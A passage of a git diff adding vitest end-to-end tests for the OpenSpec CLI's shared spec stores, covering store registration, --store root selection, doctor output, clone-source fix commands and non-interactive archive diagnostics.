USERPROFILE on win32, HOME elsewhere. + const e2eEnv = { ...env, HOME: scratchHome, USERPROFILE: scratchHome }; + + // The "remote": a local bare-ish git repo holding a healthy store. + const originWorktree = path.join(tempDir, 'origin-worktree'); + createHealthyOpenSpecRoot(originWorktree); + // Anchor every directory a healthy clone needs (the same job + // store setup's anchor files do). + fs.writeFileSync(path.join(originWorktree, 'openspec', 'specs', '.gitkeep'), ''); + fs.writeFileSync(path.join(originWorktree, 'openspec', 'changes', 'archive', '.gitkeep'), ''); + fs.mkdirSync(path.join(originWorktree, '.openspec-store'), { recursive: true }); + fs.writeFileSync( + path.join(originWorktree, '.openspec-store', 'store.yaml'), + 'version: 1\nid: team-context\n' + ); + git(originWorktree, 'init'); + git(originWorktree, 'add', '-A'); + git(originWorktree, 'commit', '-m', 'init'); + + // The app repo declares the reference with the clone source. The + // forward-slash spelling keeps the remote shell-safe on Windows + // (backslashes fail isShellSafeRemote); git accepts it anywhere. + const originRemote = originWorktree.split(path.sep).join('/'); + const appRepo = path.join(tempDir, 'app-repo'); + fs.mkdirSync(path.join(appRepo, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(appRepo, 'openspec', 'config.yaml'), + 'schema: spec-driven\nreferences:\n' + + ` - { id: team-context, remote: ${originRemote} }\n` + ); + fs.mkdirSync(path.join(appRepo, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(appRepo, 'openspec', 'changes', 'archive'), { recursive: true }); + + const created = await runCLI(['new', 'change', 'onboard-check', '--json'], { + cwd: appRepo, + env: e2eEnv, + }); + expect(created.exitCode).toBe(0); + + // First run degrades with the clone-source fix. + const degraded = await runCLI( + ['instructions', 'proposal', '--change', 'onboard-check', '--json'], + { cwd: appRepo, env: e2eEnv } + ); + const entry = parseJson(degraded).references[0]; + expect(entry.status[0].code).toBe('reference_unresolved'); + const fix: string = entry.status[0].fix; + const expectedCheckout = path.join(scratchHome, 'openspec', 'team-context'); + // The quote style is platform-deliberate: POSIX single quotes, + // win32 double quotes (cmd/PowerShell treat ' as literal). + const q = process.platform === 'win32' ? '"' : "'"; + expect(fix).toBe( + `git clone -- ${originRemote} ${q}${expectedCheckout}${q} && openspec store register ${q}${expectedCheckout}${q} --id team-context` + ); + + // Execute the fix's two commands with the values the shape pin + // just verified - argv arrays, no shell re-tokenization (paths + // with spaces would break a naive split(' ')). + execFileSync('git', ['clone', '--', originRemote, expectedCheckout], { + env: { ...process.env, ...e2eEnv }, + }); + const registered = await runCLI( + ['store', 'register', expectedCheckout, '--id', 'team-context', '--json'], + { cwd: appRepo, env: e2eEnv } + ); + expect(registered.exitCode).toBe(0); + + // The rerun resolves the index from the fresh checkout. + const resolved = await runCLI( + ['instructions', 'proposal', '--change', 'onboard-check', '--json'], + { cwd: appRepo, env: e2eEnv } + ); + const resolvedEntry = parseJson(resolved).references[0]; + expect(resolvedEntry.status).toEqual([]); + expect(resolvedEntry.root).toBe(fs.realpathSync.native(expectedCheckout)); + }, GIT_JOURNEY_TIMEOUT_MS); + }); + + describe('doctor and resolution', () => { + it('surfaces both remotes, prefers canonical in human output, no new diagnostics', async () => { + const canonical = 'https://192.0.2.9/canonical.git'; + const storeRoot = path.join(tempDir, 'doc-context'); + createHealthyOpenSpecRoot(storeRoot); + // Keep specs/ and archive/ tracked so the pre-existing + // fragile-directories warning stays out of this assertion. + fs.writeFileSync(path.join(storeRoot, 'openspec', 'specs', '.gitkeep'), ''); + fs.writeFileSync(path.join(storeRoot, 'openspec', 'changes', 'archive', '.gitkeep'), ''); + fs.mkdirSync(path.join(storeRoot, '.openspec-store'), { recursive: true }); + fs.writeFileSync( + path.join(storeRoot, '.openspec-store', 'store.yaml'), + `version: 1\nid: doc-context\nremote: ${canonical}\n` + ); + git(storeRoot, 'init'); + git(storeRoot, 'remote', 'add', 'origin', TEST_NET_URL); + git(storeRoot, 'add', '-A'); + git(storeRoot, 'commit', '-m', 'init'); + await runCLI(['store', 'register', storeRoot, '--json'], { cwd: tempDir, env }); + + const json = await runCLI(['store', 'doctor', 'doc-context', '--json'], { + cwd: tempDir, + env, + }); + const store = parseJson(json).stores[0]; + expect(store.metadata.remote).toBe(canonical); + expect(store.git.origin_url).toBe(TEST_NET_URL); + expect(store.status).toEqual([]); + + const human = await runCLI(['store', 'doctor', 'doc-context'], { cwd: tempDir, env }); + expect(human.stdout).toContain(` Remote: ${canonical}`); + expect(human.stdout).not.toContain(TEST_NET_URL); + + // The remote-bearing store.yaml resolves normally with --store. + const list = await runCLI(['list', '--json', '--store', 'doc-context'], { + cwd: tempDir, + env, + }); + expect(list.exitCode).toBe(0); + expect(parseJson(list).root.store_id).toBe('doc-context'); + }); + + it('shows no Remote noise for stores without remotes', async () => { + const storeRoot = path.join(tempDir, 'quiet-context'); + await runCLI(['store', 'setup', 'quiet-context', '--path', storeRoot, '--json'], { + cwd: tempDir, + env, + }); + const human = await runCLI(['store', 'doctor', 'quiet-context'], { cwd: tempDir, env }); + expect(human.exitCode).toBe(0); + expect(human.stdout).not.toContain('Remote:'); + }); + }); +}); diff --git a/test/commands/store-root-selection.test.ts b/test/commands/store-root-selection.test.ts new file mode 100644 index 0000000000..190276dc35 --- /dev/null +++ b/test/commands/store-root-selection.test.ts @@ -0,0 +1,786 @@ +import { afterEach, beforeEach, describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + getGlobalDataDir, + registerStore, +} from '../../src/core/index.js'; +import { writeStoreMetadataState } from '../../src/core/store/foundation.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { cleanupTempPath } from '../helpers/temp-cleanup.js'; + +const VALID_DELTA_SPEC = `## ADDED Requirements + +### Requirement: Billing SHALL work +The system SHALL create bills. + +#### Scenario: Creates bills +- **WHEN** a billing period ends +- **THEN** a bill is created +`; + +const INVALID_DELTA_SPEC = `## ADDED Requirements + +### Requirement: Billing SHALL work +The system SHALL create bills. +`; + +// Targets a spec that does not exist yet: REMOVED deltas are ignored with a +// human-mode warning, which must never leak into JSON stdout. +const REMOVED_ONLY_DELTA_SPEC = `## REMOVED Requirements + +### Requirement: Old billing SHALL go away +`; + +// MODIFIED deltas against a spec that does not exist make buildUpdatedSpec +// throw during the prepare pass. +const MODIFIED_ONLY_DELTA_SPEC = `## MODIFIED Requirements + +### Requirement: Billing SHALL work +The system SHALL create bills differently. + +#### Scenario: Creates bills +- **WHEN** a billing period ends +- **THEN** a bill is created +`; + +describe('store root selection for normal commands', () => { + let tempDir: string; + let appRepo: string; + let storeRoot: string; + let globalDataDir: string; + let env: NodeJS.ProcessEnv; + + beforeEach(async () => { + tempDir = fs.realpathSync.native( + fs.mkdtempSync(path.join(os.tmpdir(), 'openspec-store-root-selection-')) + ); + env = { + XDG_DATA_HOME: path.join(tempDir, 'data'), + XDG_CONFIG_HOME: path.join(tempDir, 'config'), + OPEN_SPEC_INTERACTIVE: '0', + OPENSPEC_TELEMETRY: '0', + }; + globalDataDir = getGlobalDataDir({ env }); + appRepo = path.join(tempDir, 'app-repo'); + fs.mkdirSync(appRepo, { recursive: true }); + storeRoot = await registerStoreFixture('team-context'); + }); + + afterEach(() => { + cleanupTempPath(tempDir); + }); + + function createOpenSpecRoot(rootDir: string): void { + fs.mkdirSync(path.join(rootDir, 'openspec', 'specs'), { recursive: true }); + fs.mkdirSync(path.join(rootDir, 'openspec', 'changes', 'archive'), { recursive: true }); + fs.writeFileSync(path.join(rootDir, 'openspec', 'config.yaml'), 'schema: spec-driven\n'); + } + + async function registerStoreFixture(id: string): Promise<string> { + const root = path.join(tempDir, 'stores', id); + createOpenSpecRoot(root); + await registerStore({ id, localPath: root, globalDataDir }); + return fs.realpathSync.native(root); + } + + function createChange( + rootDir: string, + name: string, + options: { deltaSpec?: string | null; tasksDone?: boolean } = {} + ): string { + const changeDir = path.join(rootDir, 'openspec', 'changes', name); + fs.mkdirSync(changeDir, { recursive: true }); + fs.writeFileSync( + path.join(changeDir, 'proposal.md'), + '## Why\nBilling needs work.\n\n## What Changes\n- **billing:** Add billing\n' + ); + fs.writeFileSync( + path.join(changeDir, 'tasks.md'), + options.tasksDone === false ? '- [ ] Task 1\n' : '- [x] Task 1\n' + ); + if (options.deltaSpec !== null) { + const specDir = path.join(changeDir, 'specs', 'billing'); + fs.mkdirSync(specDir, { recursive: true }); + fs.writeFileSync(path.join(specDir, 'spec.md'), options.deltaSpec ?? VALID_DELTA_SPEC); + } + return changeDir; + } + + function parseJson(result: RunCLIResult): any { + try { + return JSON.parse(result.stdout); + } catch (error) { + throw new Error( + `Could not parse JSON.\nCommand: ${result.command}\nstdout:\n${result.stdout}\nstderr:\n${result.stderr}\n${String(error)}` + ); + } + } + + function expectNoLocalOpenSpec(): void { + expect(fs.existsSync(path.join(appRepo, 'openspec'))).toBe(false); + } + + describe('selecting a registered store by id', () => { + it('creates a change only in the store and names the root on stderr', async () => { + const result = await runCLI(['new', 'change', 'add-billing', '--store', 'team-context'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(0); + expect(result.stderr).toContain(`Using OpenSpec root: team-context (${storeRoot})`); + expect(result.stdout).toContain("Created change 'add-billing'"); + expect(result.stdout).toContain( + path.join(storeRoot, 'openspec', 'changes', 'add-billing') + ); + + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'add-billing')) + ).toBe(true); + expectNoLocalOpenSpec(); + }); + + it('includes the shared root block and absolute paths in new change JSON', async () => { + const result = await runCLI( + ['new', 'change', 'add-billing', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(0); + + const json = parseJson(result); + expect(json.root).toEqual({ + path: storeRoot, + source: 'store', + store_id: 'team-context', + }); + expect(path.isAbsolute(json.change.path)).toBe(true); + expect(json.change.path).toBe( + path.join(storeRoot, 'openspec', 'changes', 'add-billing') + ); + expectNoLocalOpenSpec(); + }); + + it('wins over the nearest local root', async () => { + const localRepo = path.join(tempDir, 'local-repo'); + createOpenSpecRoot(localRepo); + createChange(localRepo, 'local-change'); + createChange(storeRoot, 'store-change'); + + const result = await runCLI(['list', '--json', '--store', 'team-context'], { + cwd: localRepo, + env, + }); + expect(result.exitCode).toBe(0); + + const json = parseJson(result); + const names = json.changes.map((change: any) => change.name); + expect(names).toContain('store-change'); + expect(names).not.toContain('local-change'); + expect(json.root.store_id).toBe('team-context'); + }); + + it('lists an empty team store before any changes exist', async () => { + const blankStoreRoot = path.join(tempDir, 'stores', 'blank-context'); + fs.mkdirSync(path.join(blankStoreRoot, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(blankStoreRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\n' + ); + await writeStoreMetadataState(blankStoreRoot, { + version: 1, + id: 'blank-context', + }); + const registered = await runCLI( + ['store', 'register', blankStoreRoot, '--json'], + { cwd: appRepo, env } + ); + expect(registered.exitCode).toBe(0); + + const result = await runCLI(['list', '--json', '--store', 'blank-context'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.changes).toEqual([]); + expect(json.root).toEqual({ + path: fs.realpathSync.native(blankStoreRoot), + source: 'store', + store_id: 'blank-context', + }); + }); + + it('reads, validates, shows, and reports status in the selected store', async () => { + createChange(storeRoot, 'store-change'); + + const status = await runCLI( + ['status', '--change', 'store-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + expect(status.exitCode).toBe(0); + const statusJson = parseJson(status); + expect(statusJson.changeName).toBe('store-change'); + expect(statusJson.schemaName).toBe('spec-driven'); + expect(statusJson.root).toEqual({ + path: storeRoot, + source: 'store', + store_id: 'team-context', + }); + + const instructions = await runCLI( + ['instructions', 'design', '--change', 'store-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + expect(instructions.exitCode).toBe(0); + const instructionsJson = parseJson(instructions); + expect(instructionsJson.artifactId).toBe('design'); + expect(instructionsJson.root.store_id).toBe('team-context'); + expect(path.isAbsolute(instructionsJson.changeDir)).toBe(true); + expect(instructionsJson.changeDir).toContain(storeRoot); + + const show = await runCLI( + ['show', 'store-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + expect(show.exitCode).toBe(0); + const showJson = parseJson(show); + expect(showJson.id).toBe('store-change'); + expect(showJson.root.store_id).toBe('team-context'); + + const validate = await runCLI( + ['validate', 'store-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + expect(validate.exitCode).toBe(0); + const validateJson = parseJson(validate); + expect(validateJson.items[0]).toMatchObject({ id: 'store-change', valid: true }); + expect(validateJson.root.store_id).toBe('team-context'); + + expectNoLocalOpenSpec(); + }); + + it('loads apply and archive operation inputs from the selected store root', async () => { + createChange(storeRoot, 'store-change'); + fs.writeFileSync( + path.join(storeRoot, 'openspec', 'config.yaml'), + `schema: spec-driven +context: Store context +operations: + apply: + guidance: + - Store apply guidance + archive: + guidance: + - Store archive guidance +` + ); + + const applyResult = await runCLI( + ['instructions', 'apply', '--change', 'store-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + const archiveResult = await runCLI( + ['instructions', 'archive', '--change', 'store-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + + expect(applyResult.exitCode).toBe(0); + expect(parseJson(applyResult)).toMatchObject({ + context: 'Store context', + operationGuidance: ['Store apply guidance'], + root: { path: storeRoot, store_id: 'team-context' }, + }); + expect(archiveResult.exitCode).toBe(0); + expect(parseJson(archiveResult)).toMatchObject({ + context: 'Store context', + operationGuidance: ['Store archive guidance'], + root: { path: storeRoot, store_id: 'team-context' }, + }); + expectNoLocalOpenSpec(); + }); + + it('lists specs from the store with minimal JSON support', async () => { + const specDir = path.join(storeRoot, 'openspec', 'specs', 'billing'); + fs.mkdirSync(specDir, { recursive: true }); + fs.writeFileSync( + path.join(specDir, 'spec.md'), + '# billing\n\n## Purpose\nBills.\n\n## Requirements\n\n### Requirement: Billing SHALL work\nThe system SHALL bill.\n\n#### Scenario: Bills\n- **WHEN** due\n- **THEN** billed\n' + ); + + const result = await runCLI(['list', '--specs', '--json', '--store', 'team-context'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.specs).toEqual([{ id: 'billing', requirementCount: 1 }]); + expect(json.root.store_id).toBe('team-context'); + }); + + it('runs bulk validation against the selected store', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI(['validate', '--all', '--store', 'team-context', '--json'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.items.map((item: any) => item.id)).toContain('store-change'); + expect(json.root.store_id).toBe('team-context'); + }); + + it('archives a change into the store archive with JSON output', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI( + ['archive', 'store-change', '--store', 'team-context', '--json', '--yes'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(0); + expect(result.stdout.trim().startsWith('{')).toBe(true); + + const json = parseJson(result); + expect(json.archive.change).toBe('store-change'); + expect(json.archive.archivedAs).toMatch(/^\d{4}-\d{2}-\d{2}-store-change$/); + expect(json.archive.path).toBe( + path.join(storeRoot, 'openspec', 'changes', 'archive', json.archive.archivedAs) + ); + expect(json.archive.specsUpdated).toBe(true); + expect(json.root.store_id).toBe('team-context'); + + expect(fs.existsSync(json.archive.path)).toBe(true); + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'store-change')) + ).toBe(false); + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'specs', 'billing', 'spec.md')) + ).toBe(true); + expectNoLocalOpenSpec(); + }); + }); + + describe('human output and stdout purity', () => { + it('keeps show stdout as the raw markdown payload', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI(['show', 'store-change', '--store', 'team-context'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(0); + expect(result.stdout.startsWith('## Why')).toBe(true); + expect(result.stderr).toContain(`Using OpenSpec root: team-context (${storeRoot})`); + }); + + it('keeps instructions stdout as the artifact payload', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI( + ['instructions', 'design', '--change', 'store-change', '--store', 'team-context'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(0); + expect(result.stdout.startsWith('<artifact id="design"')).toBe(true); + expect(result.stderr).toContain('Using OpenSpec root: team-context'); + }); + + it('writes the status banner to stderr in human mode', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI( + ['status', '--change', 'store-change', '--store', 'team-context'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(0); + expect(result.stderr).toContain(`Using OpenSpec root: team-context (${storeRoot})`); + expect(result.stdout).toContain('Change: store-change'); + expect(result.stdout).not.toContain('Using OpenSpec root'); + }); + }); + + describe('selector errors', () => { + it('rejects --store-path with register guidance', async () => { + const result = await runCLI(['new', 'change', 'nope', '--store-path', '/x'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(1); + const output = result.stdout + result.stderr; + expect(output).toContain('store register'); + expect(output).toContain('--store <id>'); + expectNoLocalOpenSpec(); + expect(fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'nope'))).toBe(false); + }); + + it('rejects show --store-path despite allowUnknownOption', async () => { + const result = await runCLI(['show', '--store-path', '/x'], { cwd: appRepo, env }); + expect(result.exitCode).toBe(1); + const output = result.stdout + result.stderr; + expect(output).toContain('store register'); + }); + + it('reports unknown stores with the same message across commands', async () => { + const expected = + "Unknown store 'team-contxt'. Registered stores: team-context."; + + const status = await runCLI(['status', '--store', 'team-contxt'], { cwd: appRepo, env }); + const list = await runCLI(['list', '--store', 'team-contxt'], { cwd: appRepo, env }); + + expect(status.exitCode).toBe(1); + expect(list.exitCode).toBe(1); + expect(status.stdout + status.stderr).toContain(expected); + expect(list.stdout + list.stderr).toContain(expected); + }); + + it('rejects an invalid store id format before registry lookup', async () => { + const result = await runCLI(['list', '--store', 'Bad_Id'], { cwd: appRepo, env }); + expect(result.exitCode).toBe(1); + expect(result.stdout + result.stderr).toContain('kebab-case'); + }); + + it('emits machine-readable resolver failures in JSON mode', async () => { + const result = await runCLI(['status', '--json', '--store', 'team-contxt'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(1); + expect(result.stdout.trim().startsWith('{')).toBe(true); + const json = parseJson(result); + expect(json.status[0].code).toBe('unknown_store'); + expect(json.status[0].message).toContain('team-contxt'); + }); + + it('reports a corrupt registry as machine-readable JSON, not prose', async () => { + fs.writeFileSync( + path.join(globalDataDir, 'stores', 'registry.yaml'), + '{not yaml: [' + ); + + const result = await runCLI(['status', '--json', '--store', 'team-context'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(1); + expect(result.stdout.trim().startsWith('{')).toBe(true); + const json = parseJson(result); + expect(json.status[0].severity).toBe('error'); + expect(json.status[0].code).toBe('invalid_store_registry'); + }); + + it('fails on an unhealthy store root and points to doctor', async () => { + const brokenRoot = path.join(tempDir, 'stores', 'broken-context'); + fs.mkdirSync(brokenRoot, { recursive: true }); + await writeStoreMetadataState(brokenRoot, { version: 1, id: 'broken-context' }); + await registerStore({ + id: 'broken-context', + localPath: brokenRoot, + globalDataDir, + }); + + const result = await runCLI(['list', '--store', 'broken-context'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(1); + expect(result.stdout + result.stderr).toContain('store doctor'); + // No scaffolding or repair happened. + expect(fs.existsSync(path.join(brokenRoot, 'openspec'))).toBe(false); + }); + }); + + describe('default resolution without --store', () => { + it('fails with a store hint instead of scaffolding when no root exists', async () => { + const result = await runCLI(['new', 'change', 'foo'], { cwd: appRepo, env }); + expect(result.exitCode).toBe(1); + const output = result.stdout + result.stderr; + expect(output).toContain('team-context'); + expect(output).toContain('--store <id>'); + expect(output).toContain('openspec init'); + expectNoLocalOpenSpec(); + }); + + it('treats leftover workspace state as no root at all', async () => { + fs.mkdirSync(path.join(appRepo, '.openspec-workspace'), { recursive: true }); + fs.writeFileSync( + path.join(appRepo, '.openspec-workspace', 'view.yaml'), + 'version: 1\nname: platform\ncontext: null\nlinks: {}\n' + ); + + const result = await runCLI(['status'], { cwd: appRepo, env }); + expect(result.exitCode).toBe(1); + expect(result.stdout + result.stderr).toContain('team-context'); + }); + + it('ignores leftover workspace state when a nearby root exists', async () => { + const localRepo = path.join(tempDir, 'workspace-repo'); + createOpenSpecRoot(localRepo); + fs.mkdirSync(path.join(localRepo, '.openspec-workspace'), { recursive: true }); + fs.writeFileSync( + path.join(localRepo, '.openspec-workspace', 'view.yaml'), + 'version: 1\nname: platform\ncontext: null\nlinks: {}\n' + ); + createChange(localRepo, 'local-change'); + + const result = await runCLI(['status', '--change', 'local-change', '--json'], { + cwd: localRepo, + env, + }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.schemaName).toBe('spec-driven'); + expect(json.root.source).toBe('nearest'); + expect(json.root.store_id).toBeUndefined(); + }); + + it('works inside the standalone repo itself without a flag', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI(['status', '--change', 'store-change', '--json'], { + cwd: storeRoot, + env, + }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.changeName).toBe('store-change'); + expect(json.root).toEqual({ path: storeRoot, source: 'nearest' }); + }); + + it('keeps implicit-root behavior when no stores are registered', async () => { + const isolatedEnv = { + ...env, + XDG_DATA_HOME: path.join(tempDir, 'data-empty'), + }; + + const result = await runCLI(['status', '--json'], { cwd: appRepo, env: isolatedEnv }); + expect(result.exitCode).toBe(0); + const json = parseJson(result); + expect(json.changes).toEqual([]); + expect(json.root.source).toBe('implicit'); + }); + }); + + describe('archive --json is non-interactive', () => { + it('fails without a change name instead of opening a picker', async () => { + createChange(storeRoot, 'store-change'); + + const result = await runCLI(['archive', '--store', 'team-context', '--json'], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(1); + expect(result.stdout.trim().startsWith('{')).toBe(true); + const json = parseJson(result); + expect(json.archive).toBeNull(); + expect(json.status[0].code).toBe('archive_change_name_required'); + }); + + it('reports no active changes for a selected empty store without init guidance', async () => { + const blankStoreRoot = path.join(tempDir, 'stores', 'archive-blank-context'); + fs.mkdirSync(path.join(blankStoreRoot, 'openspec'), { recursive: true }); + fs.writeFileSync( + path.join(blankStoreRoot, 'openspec', 'config.yaml'), + 'schema: spec-driven\n' + ); + await writeStoreMetadataState(blankStoreRoot, { + version: 1, + id: 'archive-blank-context', + }); + const registered = await runCLI( + ['store', 'register', blankStoreRoot, '--json'], + { cwd: appRepo, env } + ); + expect(registered.exitCode).toBe(0); + + const result = await runCLI( + ['archive', 'missing-change', '--store', 'archive-blank-context', '--json', '--yes'], + { cwd: appRepo, env } + ); + + expect(result.exitCode).toBe(1); + const json = parseJson(result); + expect(json.archive).toBeNull(); + expect(json.status[0]).toEqual(expect.objectContaining({ + code: 'archive_change_not_found', + message: "Change 'missing-change' not found. No active changes exist in this root.", + })); + }); + + it('reports validation failures as diagnostics without stdout prose', async () => { + createChange(storeRoot, 'bad-change', { deltaSpec: INVALID_DELTA_SPEC }); + + const result = await runCLI( + ['archive', 'bad-change', '--store', 'team-context', '--json', '--yes'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(1); + expect(result.stdout.trim().startsWith('{')).toBe(true); + const json = parseJson(result); + expect(json.archive).toBeNull(); + expect(json.status[0].code).toBe('archive_validation_failed'); + // The change was not archived. + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'bad-change')) + ).toBe(true); + }); + + it('keeps stdout pure when REMOVED deltas target a new spec', async () => { + createChange(storeRoot, 'removed-change', { deltaSpec: REMOVED_ONLY_DELTA_SPEC }); + + const result = await runCLI( + ['archive', 'removed-change', '--store', 'team-context', '--json', '--yes', '--no-validate'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(0); + // The "REMOVED requirement(s) ignored for new spec" warning must not + // precede or pollute the JSON payload. + expect(result.stdout.trim().startsWith('{')).toBe(true); + const json = parseJson(result); + expect(json.archive.change).toBe('removed-change'); + }); + + it('writes no spec when any rebuilt spec fails validation', async () => { + // Two delta specs in one change: 'aaa-good' targets a new spec and + // rebuilds cleanly; 'zzz-bad' targets an existing spec whose current + // requirement has no scenarios, so its rebuilt content fails the + // validator only at the late rebuilt-validation pass (the prepare-time + // structure check does not catch missing scenarios). + const changeDir = createChange(storeRoot, 'two-spec-change', { deltaSpec: null }); + for (const capability of ['aaa-good', 'zzz-bad']) { + const specDir = path.join(changeDir, 'specs', capability); + fs.mkdirSync(specDir, { recursive: true }); + fs.writeFileSync(path.join(specDir, 'spec.md'), VALID_DELTA_SPEC); + } + const badTargetDir = path.join(storeRoot, 'openspec', 'specs', 'zzz-bad'); + fs.mkdirSync(badTargetDir, { recursive: true }); + const badTargetContent = + '# zzz-bad\n\n## Purpose\nLegacy.\n\n## Requirements\n\n### Requirement: Old rule SHALL hold\nThe system SHALL hold.\n'; + fs.writeFileSync(path.join(badTargetDir, 'spec.md'), badTargetContent); + + const result = await runCLI( + ['archive', 'two-spec-change', '--store', 'team-context', '--json', '--yes'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(1); + const json = parseJson(result); + expect(json.archive).toBeNull(); + expect(json.status[0].code).toBe('archive_spec_validation_failed'); + + // "No files were changed" must be true: the good spec was not created + // and the bad target is byte-identical. + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'specs', 'aaa-good', 'spec.md')) + ).toBe(false); + expect(fs.readFileSync(path.join(badTargetDir, 'spec.md'), 'utf-8')).toBe( + badTargetContent + ); + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'two-spec-change')) + ).toBe(true); + }); + + it('reports spec-update failures as diagnostics without stdout prose', async () => { + createChange(storeRoot, 'modified-change', { deltaSpec: MODIFIED_ONLY_DELTA_SPEC }); + + const result = await runCLI( + ['archive', 'modified-change', '--store', 'team-context', '--json', '--yes', '--no-validate'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(1); + expect(result.stdout.trim().startsWith('{')).toBe(true); + const json = parseJson(result); + expect(json.archive).toBeNull(); + expect(json.status[0].code).toBe('archive_spec_update_failed'); + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'modified-change')) + ).toBe(true); + }); + + it('refuses incomplete tasks without --yes', async () => { + createChange(storeRoot, 'wip-change', { tasksDone: false }); + + const result = await runCLI( + ['archive', 'wip-change', '--store', 'team-context', '--json'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(1); + const json = parseJson(result); + expect(json.status[0].code).toMatch(/archive_tasks_incomplete|archive_confirmation_required/); + expect( + fs.existsSync(path.join(storeRoot, 'openspec', 'changes', 'wip-change')) + ).toBe(true); + }); + }); + + describe('initiative links are retired from normal change flows', () => { + it('rejects --initiative and creates no files', async () => { + const localRepo = path.join(tempDir, 'initiative-repo'); + createOpenSpecRoot(localRepo); + + const result = await runCLI( + ['new', 'change', 'linked-change', '--initiative', 'billing-launch'], + { cwd: localRepo, env } + ); + expect(result.exitCode).toBe(1); + const output = result.stdout + result.stderr; + expect(output).toContain('--initiative is no longer supported'); + expect( + fs.existsSync(path.join(localRepo, 'openspec', 'changes', 'linked-change')) + ).toBe(false); + }); + + it('removes openspec set change entirely', async () => { + const localRepo = path.join(tempDir, 'set-change-repo'); + createOpenSpecRoot(localRepo); + createChange(localRepo, 'existing-change'); + const metadataPath = path.join( + localRepo, + 'openspec', + 'changes', + 'existing-change', + '.openspec.yaml' + ); + + const result = await runCLI( + ['set', 'change', 'existing-change', '--initiative', 'billing-launch'], + { cwd: localRepo, env } + ); + expect(result.exitCode).not.toBe(0); + expect(result.stdout + result.stderr).toContain('unknown command'); + expect(fs.existsSync(metadataPath)).toBe(false); + + const help = await runCLI(['--help'], { cwd: localRepo, env }); + expect(help.stdout).not.toContain('Set checked-in OpenSpec metadata'); + expect(help.stdout).not.toMatch(/^\s*set\s/m); + }); + }); + + describe('setup and register point to --store usage', () => { + it('shows --store usage after setup', async () => { + const result = await runCLI( + ['store', 'setup', 'fresh-context', '--path', path.join(tempDir, 'fresh-context'), '--no-init-git'], + { cwd: appRepo, env } + ); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('openspec new change <change-id> --store fresh-context'); + }); + + it('shows --store usage after register', async () => { + const registerRoot = path.join(tempDir, 'register-context'); + createOpenSpecRoot(registerRoot); + await writeStoreMetadataState(registerRoot, { + version: 1, + id: 'register-context', + }); + + const result = await runCLI(['store', 'register', registerRoot], { + cwd: appRepo, + env, + }); + expect(result.exitCode).toBe(0); + expect(result.stdout).toContain('openspec new change <change-id> --store register-context'); + }); + }); +}); diff --git a/test/commands/store.test.ts b/test/commands/store.test.ts new file mode 100644 index 0000000000..41a17a6377 --- /dev/null +++ b/test/commands/store.test.ts @@ -0,0 +1,1311 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'; +import { Command } from 'commander'; +import { execFileSync } from 'node:child_process'; +import * as fs from 'node:fs'; +import * as os from 'node:os'; +import * as path from 'node:path'; + +import { + DEFAULT_OPENSPEC_SCHEMA, + getGlobalDataDir, + getStoresDir, + getStoreMetadataPath, + readStoreMetadataState, + readStoreRegistryState, + writeStoreMetadataState, + writeStoreRegistryState, +} from '../../src/core/index.js'; +import { runCLI, type RunCLIResult } from '../helpers/run-cli.js'; +import { createHealthyOpenSpecRoot } from '../helpers/store-git.js'; + +vi.mock('@inquirer/prompts', () => ({ + input: vi.fn(), + confirm: vi.fn(), +})); + +async function runStoreCommand(args: string[]): Promise<void> { + const { registerStoreCommand } = await import('../../src/commands/store.js'); + const program = new Command(); + registerStoreCommand(program); + await program.parseAsync(['node', 'openspec', 'store', ...args]); +} + +async function getPromptMocks(): 